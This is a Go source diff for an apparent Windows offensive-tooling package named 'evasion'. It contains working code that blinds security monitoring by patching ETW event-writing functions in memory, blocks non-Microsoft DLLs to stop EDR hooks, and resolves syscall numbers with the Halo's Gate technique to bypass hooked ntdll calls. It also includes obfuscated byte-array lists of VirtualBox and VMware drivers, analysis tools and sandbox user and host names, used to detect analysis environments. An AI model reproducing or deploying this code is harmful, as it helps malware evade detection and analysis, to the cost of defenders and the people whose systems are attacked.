SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy")
|
||||
|
||||
var ProcessSignaturePolicy uint32 = 8
|
||||
var sp PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
|
||||
|
||||
// set MicrosoftSignedOnly
|
||||
sp.Flags = 0x1
|
||||
|
||||
ret, _, err := SetProcessMitigationPolicy.Call(
|
||||
uintptr(ProcessSignaturePolicy),
|
||||
uintptr(unsafe.Pointer(&sp)),
|
||||
unsafe.Sizeof(sp),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return errors.New(fmt.Sprintf("error: %s\nSetProcessMitigationPolicy returned %x", err, ret))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// launch a program (C:\Windows\System32\notepad.exe) with BlockDLLs enabled
|
||||
func CreateProcessBlockDLLs(cmd string) error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
|
||||
UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
|
||||
GetProcessHeap := kernel32.NewProc("GetProcessHeap")
|
||||
HeapAlloc := kernel32.NewProc("HeapAlloc")
|
||||
HeapFree := kernel32.NewProc("HeapFree")
|
||||
CreateProcess := kernel32.NewProc("CreateProcessW")
|
||||
|
||||
procThreadAttributeSize := uintptr(0)
|
||||
InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
|
||||
|
||||
procHeap, _, err := GetProcessHeap.Call()
|
||||
if procHeap == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize)
|
||||
if attributeList == 0 {
|
||||
return err
|
||||
}
|
||||
defer HeapFree.Call(procHeap, 0, attributeList)
|
||||
|
||||
var si StartupInfoEx
|
||||
si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
|
||||
|
||||
InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
|
||||
|
||||
mitigate := 0x20007
|
||||
nonms := uintptr(0x100000000000|0x1000000000)
|
||||
|
||||
r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0)
|
||||
if r == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
commandline, err := windows.UTF16PtrFromString(cmd)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var pi ProcessInformation
|
||||
si.Cb = uint32(unsafe.Sizeof(si))
|
||||
flags := windows.EXTENDED_STARTUPINFO_PRESENT
|
||||
|
||||
r, _, err = CreateProcess.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(commandline)),
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
uintptr(uint32(flags)),
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&si)),
|
||||
uintptr(unsafe.Pointer(&pi)),
|
||||
)
|
||||
|
||||
if r == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package evasion
|
||||
|
||||
var drivers []string = []string{
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'M', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'G', 'u', 'e', 's', 't', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'S', 'F', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'V', 'i', 'd', 'e', 'o', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'd', 'i', 's', 'p', '.', 'd', 'l', 'l'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'h', 'o', 'o', 'k', '.', 'd', 'l', 'l'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'm', 'r', 'x', 'n', 'p', '.', 'd', 'l', 'l'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'o', 'g', 'l', '.', 'd', 'l', 'l'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'o', 'g', 'l', 'a', 'r', 'r', 'a', 'y', 's', 'p', 'u', '.', 'd', 'l', 'l'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'V', 'B', 'o', 'x', 'C', 'o', 'n', 't', 'r', 'o', 'l', '.', 'e', 'x', 'e'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'h', 'g', 'f', 's', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'c', 'i', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'e', 'm', 'c', 't', 'l', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'r', 'a', 'w', 'd', 's', 'k', '.', 's', 'y', 's'}),
|
||||
|
||||
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'u', 's', 'b', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
|
||||
}
|
||||
|
||||
var processes []string = []string{ // Sandbox processes taken from https://github.com/LordNoteworthy/al-khaser
|
||||
string([]byte{'v', 'b', 'o', 'x', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'b', 'o', 'x', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'm', 't', 'o', 'o', 'l', 's', 'd', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'm', 'w', 'a', 'r', 'e', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'm', 'w', 'a', 'r', 'e', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'm', 'w', 'a', 'r', 'e', '-', 'v', 'm', 'x', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'm', 'w', 'a', 'r', 'e', 'u', 's', 'e', 'r'}),
|
||||
string([]byte{'V', 'G', 'A', 'u', 't', 'h', 'S', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'm', 'a', 'c', 't', 'h', 'l', 'p', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'm', 's', 'r', 'v', 'c', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'm', 'u', 's', 'r', 'v', 'c', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'x', 'e', 'n', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'q', 'e', 'm', 'u', '-', 'g', 'a', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'w', 'i', 'r', 'e', 's', 'h', 'a', 'r', 'k', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'P', 'r', 'o', 'c', 'm', 'o', 'n', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'P', 'r', 'o', 'c', 'm', 'o', 'n', '6', '4', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'o', 'l', 'a', 't', 'i', 'l', 'y', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'v', 'o', 'l', 'a', 't', 'i', 'l', 'y', '3', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'D', 'u', 'm', 'p', 'I', 't', '.', 'e', 'x', 'e'}),
|
||||
string([]byte{'d', 'u', 'm', 'p', 'i', 't', '.', 'e', 'x', 'e'}),
|
||||
}
|
||||
|
||||
var hostnames_list []string = []string{
|
||||
string([]byte{'S', 'a', 'n', 'd', 'b', 'o', 'x'}),
|
||||
string([]byte{'S', 'A', 'N', 'D', 'B', 'O', 'X'}),
|
||||
string([]byte{'m', 'a', 'l', 'w', 'a', 'r', 'e'}),
|
||||
string([]byte{'v', 'i', 'r', 'u', 's'}),
|
||||
string([]byte{'V', 'i', 'r', 'u', 's'}),
|
||||
string([]byte{'s', 'a', 'm', 'p', 'l', 'e'}),
|
||||
string([]byte{'d', 'e', 'b', 'u', 'g'}),
|
||||
string([]byte{'U', 'S', 'E', 'R', '-', 'P', 'C'}),
|
||||
string([]byte{'a', 'n', 'a', 'l', 'y', 's', 'i', 's'}),
|
||||
string([]byte{'c', 'u', 'c', 'k', 'o', 'o'}),
|
||||
string([]byte{'c', 'u', 'c', 'k', 'o', 'o', 'f', 'o', 'r', 'k'}),
|
||||
string([]byte{'C', 'u', 'c', 'k', 'o', 'o'}),
|
||||
}
|
||||
|
||||
var usernames_list []string = []string{
|
||||
string([]byte{'s', 'a', 'n', 'd', 'b', 'o', 'x'}),
|
||||
string([]byte{'v', 'i', 'r', 'u', 's'}),
|
||||
string([]byte{'m', 'a', 'l', 'w', 'a', 'r', 'e'}),
|
||||
string([]byte{'d', 'e', 'b', 'u', 'g', '4', 'f', 'u', 'n'}),
|
||||
string([]byte{'d', 'e', 'b', 'u', 'g'}),
|
||||
string([]byte{'s', 'y', 's'}),
|
||||
string([]byte{'u', 's', 'e', 'r', '1'}),
|
||||
string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l'}),
|
||||
string([]byte{'v', 'i', 'r', 't', 'u', 'a', 'l'}),
|
||||
string([]byte{'a', 'n', 'a', 'l', 'y', 'i', 's'}),
|
||||
string([]byte{'t', 'r', 'a', 'n', 's', '_', 'i', 's', 'o', '_', '0'}),
|
||||
string([]byte{'j', '.', 'y', 'o', 'r', 'o', 'i'}),
|
||||
string([]byte{'v', 'e', 'n', 'u', 's', 'e', 'y', 'e'}),
|
||||
string([]byte{'V', 'e', 'n', 'u', 's', 'E', 'y', 'e'}),
|
||||
string([]byte{'V', 'i', 'r', 'u', 's', 'T', 'o', 't', 'a', 'l'}),
|
||||
string([]byte{'v', 'i', 'r', 'u', 's', 't', 'o', 't', 'a', 'l'}),
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package evasion
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"golang.org/x/sys/windows"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func PatchEtw() error {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
WriteProcessMemory := windows.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
|
||||
|
||||
EtwEventWrite := ntdll.NewProc("EtwEventWrite")
|
||||
EtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx")
|
||||
EtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull")
|
||||
EtwEventWriteString := ntdll.NewProc("EtwEventWriteString")
|
||||
EtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer")
|
||||
|
||||
addresses := []uintptr{EtwEventWriteFull.Addr(), EtwEventWrite.Addr(), EtwEventWriteEx.Addr(), EtwEventWriteString.Addr(), EtwEventWriteTransfer.Addr()}
|
||||
|
||||
for i := range addresses {
|
||||
data, _ := hex.DecodeString(string([]byte{'4', '8', '3', '3', 'C', '0', 'C', '3'}))
|
||||
|
||||
WriteProcessMemory.Call(uintptr(0xffffffffffffffff), uintptr(addresses[i]), uintptr(unsafe.Pointer(&data[0])), uintptr(len(data)), 0)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func PatchEtw2() error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
NtTraceEvent := ntdll.NewProc("NtTraceEvent")
|
||||
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
|
||||
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
|
||||
|
||||
pHandle, _, _ := GetCurrentProcess.Call()
|
||||
|
||||
var patch = []byte{0xc3}
|
||||
var oldProtect uintptr
|
||||
var addr uintptr = NtTraceEvent.Addr()
|
||||
regionsize := uintptr(len(patch))
|
||||
|
||||
r1, _, err := NtProtectVirtualMemory.Call(pHandle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
NtWriteVirtualMemory.Call(pHandle, addr, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), 0)
|
||||
|
||||
r2, _, err := NtProtectVirtualMemory.Call(pHandle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r2 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,211 @@
|
||||
package evasion
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type StartupInfoEx struct {
|
||||
windows.StartupInfo
|
||||
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
|
||||
}
|
||||
|
||||
type ProcessInformation struct {
|
||||
Process Handle
|
||||
Thread Handle
|
||||
ProcessId uint32
|
||||
ThreadId uint32
|
||||
}
|
||||
|
||||
type Handle uintptr
|
||||
|
||||
type PROC_THREAD_ATTRIBUTE_LIST struct {
|
||||
dwFlags uint32
|
||||
size uint64
|
||||
count uint64
|
||||
reserved uint64
|
||||
unknown *uint64
|
||||
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
|
||||
}
|
||||
|
||||
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
|
||||
attribute *uint32
|
||||
cbSize uintptr
|
||||
lpValue uintptr
|
||||
}
|
||||
|
||||
type ExportDirectory struct {
|
||||
ExportFlags uint32 // reserved, must be zero
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
NameRVA uint32 // pointer to the name of the DLL
|
||||
OrdinalBase uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32 // also Ordinal Table Len
|
||||
AddressTableAddr uint32 // RVA of EAT, relative to image base
|
||||
NameTableAddr uint32 // RVA of export name pointer table, relative to image base
|
||||
OrdinalTableAddr uint32 // address of the ordinal table, relative to iamge base
|
||||
|
||||
DllName string
|
||||
}
|
||||
|
||||
type Export struct {
|
||||
Ordinal uint32
|
||||
Name string
|
||||
VirtualAddress uint32
|
||||
Forward string
|
||||
}
|
||||
|
||||
type sstring struct {
|
||||
Length uint16
|
||||
MaxLength uint16
|
||||
PWstr *uint16
|
||||
}
|
||||
|
||||
func (s sstring) String() string {
|
||||
return windows.UTF16PtrToString(s.PWstr)
|
||||
}
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
MinorLinkerVersion uint8
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory [16]IMAGE_DATA_DIRECTORY
|
||||
}
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER32 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
BaseOfData uint32 // Different from 64 bit header
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
type IMAGE_DATA_DIRECTORY struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
}
|
||||
|
||||
type IMAGE_FILE_HEADER struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
type IMAGE_NT_HEADER struct {
|
||||
Signature uint32
|
||||
FileHeader IMAGE_FILE_HEADER
|
||||
OptionalHeader IMAGE_OPTIONAL_HEADER
|
||||
}
|
||||
|
||||
type IMAGE_DOS_HEADER struct { // DOS .EXE header
|
||||
E_magic uint16 // Magic number
|
||||
E_cblp uint16 // Bytes on last page of file
|
||||
E_cp uint16 // Pages in file
|
||||
E_crlc uint16 // Relocations
|
||||
E_cparhdr uint16 // Size of header in paragraphs
|
||||
E_minalloc uint16 // Minimum extra paragraphs needed
|
||||
E_maxalloc uint16 // Maximum extra paragraphs needed
|
||||
E_ss uint16 // Initial (relative) SS value
|
||||
E_sp uint16 // Initial SP value
|
||||
E_csum uint16 // Checksum
|
||||
E_ip uint16 // Initial IP value
|
||||
E_cs uint16 // Initial (relative) CS value
|
||||
E_lfarlc uint16 // File address of relocation table
|
||||
E_ovno uint16 // Overlay number
|
||||
E_res [4]uint16 // Reserved words
|
||||
E_oemid uint16 // OEM identifier (for E_oeminfo)
|
||||
E_oeminfo uint16 // OEM information; E_oemid specific
|
||||
E_res2 [10]uint16 // Reserved words
|
||||
E_lfanew uint16 // File address of new exe header
|
||||
}
|
||||
|
||||
type memStatusEx struct { // Auxiliary struct to retrieve total memory
|
||||
dwLength uint32
|
||||
dwMemoryLoad uint32
|
||||
ullTotalPhys uint64
|
||||
ullAvailPhys uint64
|
||||
unused [5]uint64
|
||||
}
|
||||
|
||||
type PTHREAD_BASIC_INFORMATION struct {
|
||||
exitStatus int32
|
||||
pTebBaseAddress uintptr
|
||||
clientId CLIENT_ID
|
||||
AffinityMask uintptr
|
||||
Priority int
|
||||
BasePriority int
|
||||
v int
|
||||
}
|
||||
|
||||
type SC_SERVICE_TAG_QUERY struct {
|
||||
processId uint32
|
||||
serviceTag uint32
|
||||
reserved uint32
|
||||
pBuffer unsafe.Pointer
|
||||
}
|
||||
|
||||
type CLIENT_ID struct {
|
||||
UniqueProcess uintptr
|
||||
UniqueThread uintptr
|
||||
}
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
package core
|
||||
package evasion
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
//"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
"github.com/awgh/rawreader"
|
||||
)
|
||||
|
||||
// Return syscall from memory, if it fails it tries to get syscall from disk
|
||||
// Return syscall from memory, if it fails it tries to get syscall from disk (using halo's gate technique)
|
||||
func GetSysId(funcname string) (uint16, error) {
|
||||
|
||||
var ntdll_pe *pe.File
|
||||
@@ -38,10 +38,10 @@ func GetSysId(funcname string) (uint16, error) {
|
||||
}
|
||||
|
||||
buff := bBytes[offset : offset+10]
|
||||
sysId, e := CheckBytes(buff)
|
||||
sysId, err := CheckBytes(buff)
|
||||
var hook_err MayBeHookedError
|
||||
|
||||
if errors.As(e, &hook_err) {
|
||||
if errors.As(err, &hook_err) {
|
||||
|
||||
// Enter here if function seems to be hooked
|
||||
start, size := GetNtdllStart()
|
||||
@@ -52,9 +52,9 @@ func GetSysId(funcname string) (uint16, error) {
|
||||
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
|
||||
distanceNeighbor++
|
||||
|
||||
sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
|
||||
if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
|
||||
return sysId - uint16(distanceNeighbor), e
|
||||
sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
|
||||
if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
|
||||
return sysId - uint16(distanceNeighbor), err
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -65,9 +65,9 @@ func GetSysId(funcname string) (uint16, error) {
|
||||
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
|
||||
distanceNeighbor++
|
||||
|
||||
sysId, e := CheckBytes(bBytes[i+14 : i+14+8])
|
||||
if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
|
||||
return sysId + uint16(distanceNeighbor) - 1, e
|
||||
sysId, err := CheckBytes(bBytes[i+14 : i+14+8])
|
||||
if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
|
||||
return sysId + uint16(distanceNeighbor) - 1, err
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -81,32 +81,6 @@ func GetSysId(funcname string) (uint16, error) {
|
||||
return getDiskSysId(funcname)
|
||||
}
|
||||
|
||||
func GetFuncPtr(funcname string) (uint64, error) {
|
||||
var p *pe.File
|
||||
var err error
|
||||
|
||||
s, si := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
|
||||
|
||||
rr := rawreader.New(uintptr(s), int(si))
|
||||
p, err = pe.NewFileFromMemory(rr)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
exports, err := p.Exports()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
for _, ex := range exports {
|
||||
if strings.EqualFold(funcname, ex.Name) {
|
||||
return uint64(uintptr(s)) + uint64(ex.VirtualAddress), nil
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("could not find function: %s", funcname)
|
||||
}
|
||||
|
||||
func getDiskSysId(funcname string) (uint16, error) {
|
||||
|
||||
ntdll_path := string(
|
||||
@@ -135,10 +109,10 @@ func getDiskSysId(funcname string) (uint16, error) {
|
||||
}
|
||||
|
||||
buff := bBytes[offset : offset+10]
|
||||
sysId, e := CheckBytes(buff)
|
||||
sysId, err := CheckBytes(buff)
|
||||
var hook_err MayBeHookedError
|
||||
|
||||
if errors.As(e, &hook_err) {
|
||||
if errors.As(err, &hook_err) {
|
||||
|
||||
// Enter here if function seems to be hooked
|
||||
start, size := GetNtdllStart()
|
||||
@@ -149,9 +123,9 @@ func getDiskSysId(funcname string) (uint16, error) {
|
||||
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
|
||||
distanceNeighbor++
|
||||
|
||||
sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
|
||||
if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
|
||||
return sysId - uint16(distanceNeighbor), e
|
||||
sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again
|
||||
if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
|
||||
return sysId - uint16(distanceNeighbor), err
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -162,9 +136,9 @@ func getDiskSysId(funcname string) (uint16, error) {
|
||||
if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') {
|
||||
distanceNeighbor++
|
||||
|
||||
sysId, e := CheckBytes(bBytes[i+14 : i+14+8])
|
||||
if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked
|
||||
return sysId + uint16(distanceNeighbor) - 1, e
|
||||
sysId, err := CheckBytes(bBytes[i+14 : i+14+8])
|
||||
if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked
|
||||
return sysId + uint16(distanceNeighbor) - 1, err
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package core
|
||||
package evasion
|
||||
|
||||
/*
|
||||
|
||||
@@ -11,14 +11,45 @@ import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
// Third-party
|
||||
"github.com/Binject/debug/pe"
|
||||
"github.com/awgh/rawreader"
|
||||
)
|
||||
|
||||
// Check if hash is a valid function and return its proc
|
||||
func FuncFromHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) {
|
||||
/*
|
||||
|
||||
